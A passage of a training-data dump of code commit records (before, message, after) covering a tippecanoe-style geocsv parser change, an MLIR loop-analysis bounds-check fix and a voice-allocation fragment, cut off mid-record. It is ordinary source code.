mPlayVo.rend()) {\n int vo = *it;\n bool chMatch = (mVoCh[vo] == ch) ? true:false;\n if (ch == -1) {\n chMatch = true;\n }\n if ( (mVoPrio[vo] <= prio_min) && chMatch ) {\n prio_min = mVoPrio[vo];\n v = vo + MAX_VOICE;\n }\n it++;\n }\n it = mWaitVo.rbegin();\n while (it != mWaitVo.rend()) {\n int vo = *it;\n if (mVoPrio[vo] <= prio_min) {\n prio_min = mVoPrio[vo];\n v = vo;\n }\n it++;\n }\n \n return v;\n}\n<|endoftext|>"} {"text":"<commit_before>#include <stdlib.h>\n#include \"geocsv.hpp\"\n#include \"mvt.hpp\"\n#include \"serial.hpp\"\n#include \"projection.hpp\"\n#include \"main.hpp\"\n#include \"text.hpp\"\n#include \"csv.hpp\"\n#include \"milo\/dtoa_milo.h\"\n\nvoid parse_geocsv(std::vector<struct serialization_state> &sst, std::string fname, int layer, std::string layername) {\n\tFILE *f = fopen(fname.c_str(), \"r\");\n\tif (f == NULL) {\n\t\tperror(fname.c_str());\n\t\texit(EXIT_FAILURE);\n\t}\n\n\tstd::string s;\n\tstd::vector<std::string> header;\n\tssize_t latcol = -1, loncol = -1;\n\n\tif ((s = csv_getline(f)).size() > 0) {\n\t\tstd::string err = check_utf8(s);\n\t\tif (err != \"\") {\n\t\t\tfprintf(stderr, \"%s: %s\\n\", fname.c_str(), err.c_str());\n\t\t\texit(EXIT_FAILURE);\n\t\t}\n\n\t\theader = csv_split(s.c_str());\n\n\t\tfor (size_t i = 0; i < header.size(); i++) {\n\t\t\theader[i] = csv_dequote(header[i]);\n\n\t\t\tif (header[i] == \"lat\" || header[i] == \"latitude\") {\n\t\t\t\tlatcol = i;\n\t\t\t}\n\t\t\tif (header[i] == \"lon\" || header[i] == \"longitude\" || header[i] == \"long\") {\n\t\t\t\tloncol = i;\n\t\t\t}\n\t\t}\n\t}\n\n\tif (latcol < 0 || loncol < 0) {\n\t\tfprintf(stderr, \"%s: Can't find \\\"lat\\\" and \\\"lon\\\" columns\\n\", fname.c_str());\n\t\texit(EXIT_FAILURE);\n\t}\n\n\tsize_t seq = 0;\n\twhile ((s = csv_getline(f)).size() > 0) {\n\t\tstd::string err = check_utf8(s);\n\t\tif (err != \"\") {\n\t\t\tfprintf(stderr, \"%s: %s\\n\", fname.c_str(), err.c_str());\n\t\t\texit(EXIT_FAILURE);\n\t\t}\n\n\t\tseq++;\n\t\tstd::vector<std::string> line = csv_split(s.c_str());\n\n\t\tif (line.size() != header.size()) {\n\t\t\tfprintf(stderr, \"%s:%zu: Mismatched column count: %zu in line, %zu in header\\n\", fname.c_str(), seq, line.size(), header.size());\n\t\t\texit(EXIT_FAILURE);\n\t\t}\n\n\t\tdouble lon = atof(line[loncol].c_str());\n\t\tdouble lat = atof(line[latcol].c_str());\n\n\t\tlong long x, y;\n\t\tprojection->project(lon, lat, 32, &x, &y);\n\t\tdrawvec dv;\n\t\tdv.push_back(draw(VT_MOVETO, x, y));\n\n\t\tstd::vector<std::string> full_keys;\n\t\tstd::vector<serial_val> full_values;\n\n\t\tfor (size_t i = 0; i < line.size(); i++) {\n\t\t\tif (i != (size_t) latcol && i != (size_t) loncol) {\n\t\t\t\tfull_keys.push_back(header[i]);\n\n\t\t\t\tserial_val sv;\n\t\t\t\tsv.type = mvt_string;\n\t\t\t\tsv.s = line[i];\n\n\t\t\t\tfull_values.push_back(sv);\n\t\t\t}\n\t\t}\n\n\t\tserial_feature sf;\n\n\t\tsf.layer = layer;\n\t\tsf.layername = layername;\n\t\tsf.segment = sst[0].segment;\n\t\tsf.has_id = false;\n\t\tsf.id = 0;\n\t\tsf.has_tippecanoe_minzoom = false;\n\t\tsf.has_tippecanoe_maxzoom = false;\n\t\tsf.feature_minzoom = false;\n\t\tsf.seq = *(sst[0].layer_seq);\n\t\tsf.geometry = dv;\n\t\tsf.t = 1; \/\/ POINT\n\t\tsf.full_keys = full_keys;\n\t\tsf.full_values = full_values;\n\t\tsf.m = sf.full_values.size();\n\n\t\tserialize_feature(&sst[0], sf);\n\t}\n\n\tif (fclose(f) != 0) {\n\t\tperror(\"fclose\");\n\t\texit(EXIT_FAILURE);\n\t}\n}\n<commit_msg>Check for strings vs numbers in CSV attributes<commit_after>#include <stdlib.h>\n#include \"geocsv.hpp\"\n#include \"mvt.hpp\"\n#include \"serial.hpp\"\n#include \"projection.hpp\"\n#include \"main.hpp\"\n#include \"text.hpp\"\n#include \"csv.hpp\"\n#include \"milo\/dtoa_milo.h\"\n\nvoid parse_geocsv(std::vector<struct serialization_state> &sst, std::string fname, int layer, std::string layername) {\n\tFILE *f = fopen(fname.c_str(), \"r\");\n\tif (f == NULL) {\n\t\tperror(fname.c_str());\n\t\texit(EXIT_FAILURE);\n\t}\n\n\tstd::string s;\n\tstd::vector<std::string> header;\n\tssize_t latcol = -1, loncol = -1;\n\n\tif ((s = csv_getline(f)).size() > 0) {\n\t\tstd::string err = check_utf8(s);\n\t\tif (err != \"\") {\n\t\t\tfprintf(stderr, \"%s: %s\\n\", fname.c_str(), err.c_str());\n\t\t\texit(EXIT_FAILURE);\n\t\t}\n\n\t\theader = csv_split(s.c_str());\n\n\t\tfor (size_t i = 0; i < header.size(); i++) {\n\t\t\theader[i] = csv_dequote(header[i]);\n\n\t\t\tif (header[i] == \"lat\" || header[i] == \"latitude\") {\n\t\t\t\tlatcol = i;\n\t\t\t}\n\t\t\tif (header[i] == \"lon\" || header[i] == \"longitude\" || header[i] == \"long\") {\n\t\t\t\tloncol = i;\n\t\t\t}\n\t\t}\n\t}\n\n\tif (latcol < 0 || loncol < 0) {\n\t\tfprintf(stderr, \"%s: Can't find \\\"lat\\\" and \\\"lon\\\" columns\\n\", fname.c_str());\n\t\texit(EXIT_FAILURE);\n\t}\n\n\tsize_t seq = 0;\n\twhile ((s = csv_getline(f)).size() > 0) {\n\t\tstd::string err = check_utf8(s);\n\t\tif (err != \"\") {\n\t\t\tfprintf(stderr, \"%s: %s\\n\", fname.c_str(), err.c_str());\n\t\t\texit(EXIT_FAILURE);\n\t\t}\n\n\t\tseq++;\n\t\tstd::vector<std::string> line = csv_split(s.c_str());\n\n\t\tif (line.size() != header.size()) {\n\t\t\tfprintf(stderr, \"%s:%zu: Mismatched column count: %zu in line, %zu in header\\n\", fname.c_str(), seq, line.size(), header.size());\n\t\t\texit(EXIT_FAILURE);\n\t\t}\n\n\t\tdouble lon = atof(line[loncol].c_str());\n\t\tdouble lat = atof(line[latcol].c_str());\n\n\t\tlong long x, y;\n\t\tprojection->project(lon, lat, 32, &x, &y);\n\t\tdrawvec dv;\n\t\tdv.push_back(draw(VT_MOVETO, x, y));\n\n\t\tstd::vector<std::string> full_keys;\n\t\tstd::vector<serial_val> full_values;\n\n\t\tfor (size_t i = 0; i < line.size(); i++) {\n\t\t\tif (i != (size_t) latcol && i != (size_t) loncol) {\n\t\t\t\tline[i] = csv_dequote(line[i]);\n\n\t\t\t\tserial_val sv;\n\t\t\t\tif (is_number(line[i])) {\n\t\t\t\t\tsv.type = mvt_double;\n\t\t\t\t} else {\n\t\t\t\t\tsv.type = mvt_string;\n\t\t\t\t}\n\t\t\t\tsv.s = line[i];\n\n\t\t\t\tfull_keys.push_back(header[i]);\n\t\t\t\tfull_values.push_back(sv);\n\t\t\t}\n\t\t}\n\n\t\tserial_feature sf;\n\n\t\tsf.layer = layer;\n\t\tsf.layername = layername;\n\t\tsf.segment = sst[0].segment;\n\t\tsf.has_id = false;\n\t\tsf.id = 0;\n\t\tsf.has_tippecanoe_minzoom = false;\n\t\tsf.has_tippecanoe_maxzoom = false;\n\t\tsf.feature_minzoom = false;\n\t\tsf.seq = *(sst[0].layer_seq);\n\t\tsf.geometry = dv;\n\t\tsf.t = 1; \/\/ POINT\n\t\tsf.full_keys = full_keys;\n\t\tsf.full_values = full_values;\n\t\tsf.m = sf.full_values.size();\n\n\t\tserialize_feature(&sst[0], sf);\n\t}\n\n\tif (fclose(f) != 0) {\n\t\tperror(\"fclose\");\n\t\texit(EXIT_FAILURE);\n\t}\n}\n<|endoftext|>"} {"text":"<commit_before><commit_msg>replace use of data member fStack by direct access to stack pointer via instance call, this should solve the failing tests<commit_after><|endoftext|>"} {"text":"<commit_before>\/\/===- LoopAnalysis.cpp - Misc loop analysis routines \/\/-------------------===\/\/\n\/\/\n\/\/ Copyright 2019 The MLIR Authors.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/ =============================================================================\n\/\/\n\/\/ This file implements miscellaneous loop analysis routines.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"mlir\/Analysis\/LoopAnalysis.h\"\n\n#include \"mlir\/Analysis\/AffineAnalysis.h\"\n#include \"mlir\/Analysis\/AffineStructures.h\"\n#include \"mlir\/Analysis\/MLFunctionMatcher.h\"\n#include \"mlir\/Analysis\/VectorAnalysis.h\"\n#include \"mlir\/IR\/Builders.h\"\n#include \"mlir\/IR\/BuiltinOps.h\"\n#include \"mlir\/IR\/Statements.h\"\n#include \"mlir\/StandardOps\/StandardOps.h\"\n#include \"mlir\/SuperVectorOps\/SuperVectorOps.h\"\n#include \"mlir\/Support\/Functional.h\"\n#include \"mlir\/Support\/MathExtras.h\"\n\n#include \"llvm\/ADT\/DenseSet.h\"\n#include \"llvm\/ADT\/SmallString.h\"\n#include <type_traits>\n\nusing namespace mlir;\n\n\/\/\/ Returns the trip count of the loop as an affine expression if the latter is\n\/\/\/ expressible as an affine expression, and nullptr otherwise. The trip count\n\/\/\/ expression is simplified before returning.\nAffineExpr mlir::getTripCountExpr(const ForStmt &forStmt) {\n \/\/ upper_bound - lower_bound\n int64_t loopSpan;\n\n int64_t step = forStmt.getStep();\n auto *context = forStmt.getContext();\n\n if (forStmt.hasConstantBounds()) {\n int64_t lb = forStmt.getConstantLowerBound();\n int64_t ub = forStmt.getConstantUpperBound();\n loopSpan = ub - lb;\n } else {\n auto lbMap = forStmt.getLowerBoundMap();\n auto ubMap = forStmt.getUpperBoundMap();\n \/\/ TODO(bondhugula): handle max\/min of multiple expressions.\n if (lbMap.getNumResults() != 1 || ubMap.getNumResults() != 1)\n return nullptr;\n\n \/\/ TODO(bondhugula): handle bounds with different operands.\n \/\/ Bounds have different operands, unhandled for now.\n if (!forStmt.matchingBoundOperandList())\n return nullptr;\n\n \/\/ ub_expr - lb_expr\n AffineExpr lbExpr(lbMap.getResult(0));\n AffineExpr ubExpr(ubMap.getResult(0));\n auto loopSpanExpr = simplifyAffineExpr(\n ubExpr - lbExpr, std::max(lbMap.getNumDims(), ubMap.getNumDims()),\n std::max(lbMap.getNumSymbols(), ubMap.getNumSymbols()));\n auto cExpr = loopSpanExpr.dyn_cast<AffineConstantExpr>();\n if (!cExpr)\n return loopSpanExpr.ceilDiv(step);\n loopSpan = cExpr.getValue();\n }\n\n \/\/ 0 iteration loops.\n if (loopSpan < 0)\n return 0;\n\n return getAffineConstantExpr(static_cast<uint64_t>(ceilDiv(loopSpan, step)),\n context);\n}\n\n\/\/\/ Returns the trip count of the loop if it's a constant, None otherwise. This\n\/\/\/ method uses affine expression analysis (in turn using getTripCount) and is\n\/\/\/ able to determine constant trip count in non-trivial cases.\nllvm::Optional<uint64_t> mlir::getConstantTripCount(const ForStmt &forStmt) {\n auto tripCountExpr = getTripCountExpr(forStmt);\n\n if (!tripCountExpr)\n return None;\n\n if (auto constExpr = tripCountExpr.dyn_cast<AffineConstantExpr>())\n return constExpr.getValue();\n\n return None;\n}\n\n\/\/\/ Returns the greatest known integral divisor of the trip count. Affine\n\/\/\/ expression analysis is used (indirectly through getTripCount), and\n\/\/\/ this method is thus able to determine non-trivial divisors.\nuint64_t mlir::getLargestDivisorOfTripCount(const ForStmt &forStmt) {\n auto tripCountExpr = getTripCountExpr(forStmt);\n\n if (!tripCountExpr)\n return 1;\n\n if (auto constExpr = tripCountExpr.dyn_cast<AffineConstantExpr>()) {\n uint64_t tripCount = constExpr.getValue();\n\n \/\/ 0 iteration loops (greatest divisor is 2^64 - 1).\n if (tripCount == 0)\n return ULONG_MAX;\n\n \/\/ The greatest divisor is the trip count.\n return tripCount;\n }\n\n \/\/ Trip count is not a known constant; return its largest known divisor.\n return tripCountExpr.getLargestKnownDivisor();\n}\n\nbool mlir::isAccessInvariant(const MLValue &iv, const MLValue &index) {\n assert(isa<ForStmt>(iv) && \"iv must be a ForStmt\");\n assert(index.getType().isa<IndexType>() && \"index must be of IndexType\");\n SmallVector<OperationStmt *, 4> affineApplyOps;\n getReachableAffineApplyOps({const_cast<MLValue *>(&index)}, affineApplyOps);\n\n if (affineApplyOps.empty()) {\n \/\/ Pointer equality test because of MLValue pointer semantics.\n return &index != &iv;\n }\n\n if (affineApplyOps.size() > 1) {\n affineApplyOps[0]->emitError(\n \"CompositionAffineMapsPass must have been run: there should be at most \"\n \"one AffineApplyOp\");\n return false;\n }\n\n auto composeOp = affineApplyOps[0]->cast<AffineApplyOp>();\n \/\/ We need yet another level of indirection because the `dim` index of the\n \/\/ access may not correspond to the `dim` index of composeOp.\n unsigned idx = std::numeric_limits<unsigned>::max();\n unsigned numResults = composeOp->getNumResults();\n for (unsigned i = 0; i < numResults; ++i) {\n if (&index == composeOp->getResult(i)) {\n idx = i;\n break;\n }\n }\n assert(idx < std::numeric_limits<unsigned>::max());\n return !AffineValueMap(*composeOp)\n .isFunctionOf(idx, &const_cast<MLValue &>(iv));\n}\n\nllvm::DenseSet<const MLValue *>\nmlir::getInvariantAccesses(const MLValue &iv,\n llvm::ArrayRef<const MLValue *> indices) {\n llvm::DenseSet<const MLValue *> res;\n for (unsigned idx = 0, n = indices.size(); idx < n; ++idx) {\n auto *val = indices[idx];\n if (isAccessInvariant(iv, *val)) {\n res.insert(val);\n }\n }\n return res;\n}\n\n\/\/\/ Given:\n\/\/\/ 1. an induction variable `iv` of type ForStmt;\n\/\/\/ 2. a `memoryOp` of type const LoadOp& or const StoreOp&;\n\/\/\/ 3. the index of the `fastestVaryingDim` along which to check;\n\/\/\/ determines whether `memoryOp`[`fastestVaryingDim`] is a contiguous access\n\/\/\/ along `iv`.\n\/\/\/ Contiguous is defined as either invariant or varying only along\n\/\/\/ `fastestVaryingDim`.\n\/\/\/\n\/\/\/ Prerequisites:\n\/\/\/ 1. `iv` of the proper type;\n\/\/\/ 2. the MemRef accessed by `memoryOp` has no layout map or at most an\n\/\/\/ identity layout map.\n\/\/\/\n\/\/\/ Currently only supports no layoutMap or identity layoutMap in the MemRef.\n\/\/\/ Returns false if the MemRef has a non-identity layoutMap or more than\n\/\/\/ 1 layoutMap. This is conservative.\n\/\/\/\n\/\/ TODO(ntv): check strides.\ntemplate <typename LoadOrStoreOp>\nstatic bool isContiguousAccess(const MLValue &iv, const LoadOrStoreOp &memoryOp,\n unsigned fastestVaryingDim) {\n static_assert(std::is_same<LoadOrStoreOp, LoadOp>::value ||\n std::is_same<LoadOrStoreOp, StoreOp>::value,\n \"Must be called on either const LoadOp & or const StoreOp &\");\n auto memRefType = memoryOp.getMemRefType();\n auto layoutMap = memRefType.getAffineMaps();\n \/\/ TODO(ntv): remove dependence on Builder once we support non-identity\n \/\/ layout map.\n Builder b(memoryOp.getOperation()->getContext());\n if (layoutMap.size() >= 2 ||\n (layoutMap.size() == 1 &&\n !(layoutMap[0] ==\n b.getMultiDimIdentityMap(layoutMap[0].getNumDims())))) {\n return memoryOp.emitError(\"NYI: non-trivial layoutMap\"), false;\n }\n assert(fastestVaryingDim < memRefType.getRank());\n\n auto indices = memoryOp.getIndices();\n \/\/ TODO(clattner): should iterator_range have a size method?\n auto numIndices = indices.end() - indices.begin();\n unsigned d = 0;\n for (auto index : indices) {\n if (fastestVaryingDim == (numIndices - 1) - d++) {\n continue;\n }\n if (!isAccessInvariant(iv, cast<MLValue>(*index))) {\n return false;\n }\n }\n return true;\n}\n\ntemplate <typename LoadOrStoreOpPointer>\nstatic bool isVectorElement(LoadOrStoreOpPointer memoryOp) {\n auto memRefType = memoryOp->getMemRefType();\n return memRefType.getElementType().template isa<VectorType>();\n}\n\nstatic bool isVectorTransferReadOrWrite(const Statement &stmt) {\n const auto *opStmt = cast<OperationStmt>(&stmt);\n return opStmt->isa<VectorTransferReadOp>() ||\n opStmt->isa<VectorTransferWriteOp>();\n}\n\nusing VectorizableStmtFun =\n std::function<bool(const ForStmt &, const OperationStmt &)>;\n\nstatic bool isVectorizableLoopWithCond(const ForStmt &loop,\n VectorizableStmtFun isVectorizableStmt) {\n if (!matcher::isParallelLoop(loop) && !matcher::isReductionLoop(loop)) {\n return false;\n }\n\n \/\/ No vectorization across conditionals for now.\n auto conditionals = matcher::If();\n auto *forStmt = const_cast<ForStmt *>(&loop);\n auto conditionalsMatched = conditionals.match(forStmt);\n if (!conditionalsMatched.empty()) {\n return false;\n }\n\n auto vectorTransfers = matcher::Op(isVectorTransferReadOrWrite);\n auto vectorTransfersMatched = vectorTransfers.match(forStmt);\n if (!vectorTransfersMatched.empty()) {\n return false;\n }\n\n auto loadAndStores = matcher::Op(matcher::isLoadOrStore);\n auto loadAndStoresMatched = loadAndStores.match(forStmt);\n for (auto ls : loadAndStoresMatched) {\n auto *op = cast<OperationStmt>(ls.first);\n auto load = op->dyn_cast<LoadOp>();\n auto store = op->dyn_cast<StoreOp>();\n \/\/ Only scalar types are considered vectorizable, all load\/store must be\n \/\/ vectorizable for a loop to qualify as vectorizable.\n \/\/ TODO(ntv): ponder whether we want to be more general here.\n bool vector = load ? isVectorElement(load) : isVectorElement(store);\n if (vector) {\n return false;\n }\n if (!isVectorizableStmt(loop, *op)) {\n return false;\n }\n }\n return true;\n}\n\nbool mlir::isVectorizableLoopAlongFastestVaryingMemRefDim(\n const ForStmt &loop, unsigned fastestVaryingDim) {\n VectorizableStmtFun fun(\n [fastestVaryingDim](const ForStmt &loop, const OperationStmt &op) {\n auto load = op.dyn_cast<LoadOp>();\n auto store = op.dyn_cast<StoreOp>();\n return load ? isContiguousAccess(loop, *load, fastestVaryingDim)\n : isContiguousAccess(loop, *store, fastestVaryingDim);\n });\n return isVectorizableLoopWithCond(loop, fun);\n}\n\nbool mlir::isVectorizableLoop(const ForStmt &loop) {\n VectorizableStmtFun fun(\n \/\/ TODO: implement me\n [](const ForStmt &loop, const OperationStmt &op) { return true; });\n return isVectorizableLoopWithCond(loop, fun);\n}\n\n\/\/\/ Checks whether SSA dominance would be violated if a for stmt's body\n\/\/\/ statements are shifted by the specified shifts. This method checks if a\n\/\/\/ 'def' and all its uses have the same shift factor.\n\/\/ TODO(mlir-team): extend this to check for memory-based dependence\n\/\/ violation when we have the support.\nbool mlir::isStmtwiseShiftValid(const ForStmt &forStmt,\n ArrayRef<uint64_t> shifts) {\n auto *forBody = forStmt.getBody();\n assert(shifts.size() == forBody->getStatements().size());\n unsigned s = 0;\n for (const auto &stmt : *forBody) {\n \/\/ A for or if stmt does not produce any def\/results (that are used\n \/\/ outside).\n if (const auto *opStmt = dyn_cast<OperationStmt>(&stmt)) {\n for (unsigned i = 0, e = opStmt->getNumResults(); i < e; ++i) {\n const MLValue *result = opStmt->getResult(i);\n for (const StmtOperand &use : result->getUses()) {\n \/\/ If an ancestor statement doesn't lie in the block of forStmt, there\n \/\/ is no shift to check.\n \/\/ This is a naive way. If performance becomes an issue, a map can\n \/\/ be used to store 'shifts' - to look up the shift for a statement in\n \/\/ constant time.\n if (auto *ancStmt = forBody->findAncestorStmtInBlock(*use.getOwner()))\n if (shifts[s] != shifts[forBody->findStmtPosInBlock(*ancStmt)])\n return false;\n }\n }\n }\n s++;\n }\n return true;\n}\n<commit_msg>LoopAnalysis: isContiguousAccess fail gracefully<commit_after>\/\/===- LoopAnalysis.cpp - Misc loop analysis routines \/\/-------------------===\/\/\n\/\/\n\/\/ Copyright 2019 The MLIR Authors.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/ =============================================================================\n\/\/\n\/\/ This file implements miscellaneous loop analysis routines.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"mlir\/Analysis\/LoopAnalysis.h\"\n\n#include \"mlir\/Analysis\/AffineAnalysis.h\"\n#include \"mlir\/Analysis\/AffineStructures.h\"\n#include \"mlir\/Analysis\/MLFunctionMatcher.h\"\n#include \"mlir\/Analysis\/VectorAnalysis.h\"\n#include \"mlir\/IR\/Builders.h\"\n#include \"mlir\/IR\/BuiltinOps.h\"\n#include \"mlir\/IR\/Statements.h\"\n#include \"mlir\/StandardOps\/StandardOps.h\"\n#include \"mlir\/SuperVectorOps\/SuperVectorOps.h\"\n#include \"mlir\/Support\/Functional.h\"\n#include \"mlir\/Support\/MathExtras.h\"\n\n#include \"llvm\/ADT\/DenseSet.h\"\n#include \"llvm\/ADT\/SmallString.h\"\n#include <type_traits>\n\nusing namespace mlir;\n\n\/\/\/ Returns the trip count of the loop as an affine expression if the latter is\n\/\/\/ expressible as an affine expression, and nullptr otherwise. The trip count\n\/\/\/ expression is simplified before returning.\nAffineExpr mlir::getTripCountExpr(const ForStmt &forStmt) {\n \/\/ upper_bound - lower_bound\n int64_t loopSpan;\n\n int64_t step = forStmt.getStep();\n auto *context = forStmt.getContext();\n\n if (forStmt.hasConstantBounds()) {\n int64_t lb = forStmt.getConstantLowerBound();\n int64_t ub = forStmt.getConstantUpperBound();\n loopSpan = ub - lb;\n } else {\n auto lbMap = forStmt.getLowerBoundMap();\n auto ubMap = forStmt.getUpperBoundMap();\n \/\/ TODO(bondhugula): handle max\/min of multiple expressions.\n if (lbMap.getNumResults() != 1 || ubMap.getNumResults() != 1)\n return nullptr;\n\n \/\/ TODO(bondhugula): handle bounds with different operands.\n \/\/ Bounds have different operands, unhandled for now.\n if (!forStmt.matchingBoundOperandList())\n return nullptr;\n\n \/\/ ub_expr - lb_expr\n AffineExpr lbExpr(lbMap.getResult(0));\n AffineExpr ubExpr(ubMap.getResult(0));\n auto loopSpanExpr = simplifyAffineExpr(\n ubExpr - lbExpr, std::max(lbMap.getNumDims(), ubMap.getNumDims()),\n std::max(lbMap.getNumSymbols(), ubMap.getNumSymbols()));\n auto cExpr = loopSpanExpr.dyn_cast<AffineConstantExpr>();\n if (!cExpr)\n return loopSpanExpr.ceilDiv(step);\n loopSpan = cExpr.getValue();\n }\n\n \/\/ 0 iteration loops.\n if (loopSpan < 0)\n return 0;\n\n return getAffineConstantExpr(static_cast<uint64_t>(ceilDiv(loopSpan, step)),\n context);\n}\n\n\/\/\/ Returns the trip count of the loop if it's a constant, None otherwise. This\n\/\/\/ method uses affine expression analysis (in turn using getTripCount) and is\n\/\/\/ able to determine constant trip count in non-trivial cases.\nllvm::Optional<uint64_t> mlir::getConstantTripCount(const ForStmt &forStmt) {\n auto tripCountExpr = getTripCountExpr(forStmt);\n\n if (!tripCountExpr)\n return None;\n\n if (auto constExpr = tripCountExpr.dyn_cast<AffineConstantExpr>())\n return constExpr.getValue();\n\n return None;\n}\n\n\/\/\/ Returns the greatest known integral divisor of the trip count. Affine\n\/\/\/ expression analysis is used (indirectly through getTripCount), and\n\/\/\/ this method is thus able to determine non-trivial divisors.\nuint64_t mlir::getLargestDivisorOfTripCount(const ForStmt &forStmt) {\n auto tripCountExpr = getTripCountExpr(forStmt);\n\n if (!tripCountExpr)\n return 1;\n\n if (auto constExpr = tripCountExpr.dyn_cast<AffineConstantExpr>()) {\n uint64_t tripCount = constExpr.getValue();\n\n \/\/ 0 iteration loops (greatest divisor is 2^64 - 1).\n if (tripCount == 0)\n return ULONG_MAX;\n\n \/\/ The greatest divisor is the trip count.\n return tripCount;\n }\n\n \/\/ Trip count is not a known constant; return its largest known divisor.\n return tripCountExpr.getLargestKnownDivisor();\n}\n\nbool mlir::isAccessInvariant(const MLValue &iv, const MLValue &index) {\n assert(isa<ForStmt>(iv) && \"iv must be a ForStmt\");\n assert(index.getType().isa<IndexType>() && \"index must be of IndexType\");\n SmallVector<OperationStmt *, 4> affineApplyOps;\n getReachableAffineApplyOps({const_cast<MLValue *>(&index)}, affineApplyOps);\n\n if (affineApplyOps.empty()) {\n \/\/ Pointer equality test because of MLValue pointer semantics.\n return &index != &iv;\n }\n\n if (affineApplyOps.size() > 1) {\n affineApplyOps[0]->emitError(\n \"CompositionAffineMapsPass must have been run: there should be at most \"\n \"one AffineApplyOp\");\n return false;\n }\n\n auto composeOp = affineApplyOps[0]->cast<AffineApplyOp>();\n \/\/ We need yet another level of indirection because the `dim` index of the\n \/\/ access may not correspond to the `dim` index of composeOp.\n unsigned idx = std::numeric_limits<unsigned>::max();\n unsigned numResults = composeOp->getNumResults();\n for (unsigned i = 0; i < numResults; ++i) {\n if (&index == composeOp->getResult(i)) {\n idx = i;\n break;\n }\n }\n assert(idx < std::numeric_limits<unsigned>::max());\n return !AffineValueMap(*composeOp)\n .isFunctionOf(idx, &const_cast<MLValue &>(iv));\n}\n\nllvm::DenseSet<const MLValue *>\nmlir::getInvariantAccesses(const MLValue &iv,\n llvm::ArrayRef<const MLValue *> indices) {\n llvm::DenseSet<const MLValue *> res;\n for (unsigned idx = 0, n = indices.size(); idx < n; ++idx) {\n auto *val = indices[idx];\n if (isAccessInvariant(iv, *val)) {\n res.insert(val);\n }\n }\n return res;\n}\n\n\/\/\/ Given:\n\/\/\/ 1. an induction variable `iv` of type ForStmt;\n\/\/\/ 2. a `memoryOp` of type const LoadOp& or const StoreOp&;\n\/\/\/ 3. the index of the `fastestVaryingDim` along which to check;\n\/\/\/ determines whether `memoryOp`[`fastestVaryingDim`] is a contiguous access\n\/\/\/ along `iv`.\n\/\/\/ Contiguous is defined as either invariant or varying only along\n\/\/\/ `fastestVaryingDim`.\n\/\/\/\n\/\/\/ Prerequisites:\n\/\/\/ 1. `iv` of the proper type;\n\/\/\/ 2. the MemRef accessed by `memoryOp` has no layout map or at most an\n\/\/\/ identity layout map.\n\/\/\/\n\/\/\/ Currently only supports no layoutMap or identity layoutMap in the MemRef.\n\/\/\/ Returns false if the MemRef has a non-identity layoutMap or more than\n\/\/\/ 1 layoutMap. This is conservative.\n\/\/\/\n\/\/ TODO(ntv): check strides.\ntemplate <typename LoadOrStoreOp>\nstatic bool isContiguousAccess(const MLValue &iv, const LoadOrStoreOp &memoryOp,\n unsigned fastestVaryingDim) {\n static_assert(std::is_same<LoadOrStoreOp, LoadOp>::value ||\n std::is_same<LoadOrStoreOp, StoreOp>::value,\n \"Must be called on either const LoadOp & or const StoreOp &\");\n auto memRefType = memoryOp.getMemRefType();\n if (fastestVaryingDim >= memRefType.getRank()) {\n memoryOp.emitError(\"fastest varying dim out of bounds\");\n return false;\n }\n\n auto layoutMap = memRefType.getAffineMaps();\n \/\/ TODO(ntv): remove dependence on Builder once we support non-identity\n \/\/ layout map.\n Builder b(memoryOp.getOperation()->getContext());\n if (layoutMap.size() >= 2 ||\n (layoutMap.size() == 1 &&\n !(layoutMap[0] ==\n b.getMultiDimIdentityMap(layoutMap[0].getNumDims())))) {\n return memoryOp.emitError(\"NYI: non-trivial layoutMap\"), false;\n }\n\n auto indices = memoryOp.getIndices();\n auto numIndices = llvm::size(indices);\n unsigned d = 0;\n for (auto index : indices) {\n if (fastestVaryingDim == (numIndices - 1) - d++) {\n continue;\n }\n if (!isAccessInvariant(iv, cast<MLValue>(*index))) {\n return false;\n }\n }\n return true;\n}\n\ntemplate <typename LoadOrStoreOpPointer>\nstatic bool isVectorElement(LoadOrStoreOpPointer memoryOp) {\n auto memRefType = memoryOp->getMemRefType();\n return memRefType.getElementType().template isa<VectorType>();\n}\n\nstatic bool isVectorTransferReadOrWrite(const Statement &stmt) {\n const auto *opStmt = cast<OperationStmt>(&stmt);\n return opStmt->isa<VectorTransferReadOp>() ||\n opStmt->isa<VectorTransferWriteOp>();\n}\n\nusing VectorizableStmtFun =\n std::function<bool(const ForStmt &, const OperationStmt &)>;\n\nstatic bool isVectorizableLoopWithCond(const ForStmt &loop,\n VectorizableStmtFun isVectorizableStmt) {\n if (!matcher::isParallelLoop(loop) && !matcher::isReductionLoop(loop)) {\n return false;\n }\n\n \/\/ No vectorization across conditionals for now.\n auto conditionals = matcher::If();\n auto *forStmt = const_cast<ForStmt *>(&loop);\n auto conditionalsMatched = conditionals.match(forStmt);\n if (!conditionalsMatched.empty()) {\n return false;\n }\n\n auto vectorTransfers = matcher::Op(isVectorTransferReadOrWrite);\n auto vectorTransfersMatched = vectorTransfers.match(forStmt);\n if (!vectorTransfersMatched.empty()) {\n return false;\n }\n\n auto loadAndStores = matcher::Op(matcher::isLoadOrStore);\n auto loadAndStoresMatched = loadAndStores.match(forStmt);\n for (auto ls : loadAndStoresMatched) {\n auto *op = cast<OperationStmt>(ls.first);\n auto load = op->dyn_cast<LoadOp>();\n auto store = op->dyn_cast<StoreOp>();\n \/\/ Only scalar types are considered vectorizable, all load\/store must be\n \/\/ vectorizable for a loop to qualify as 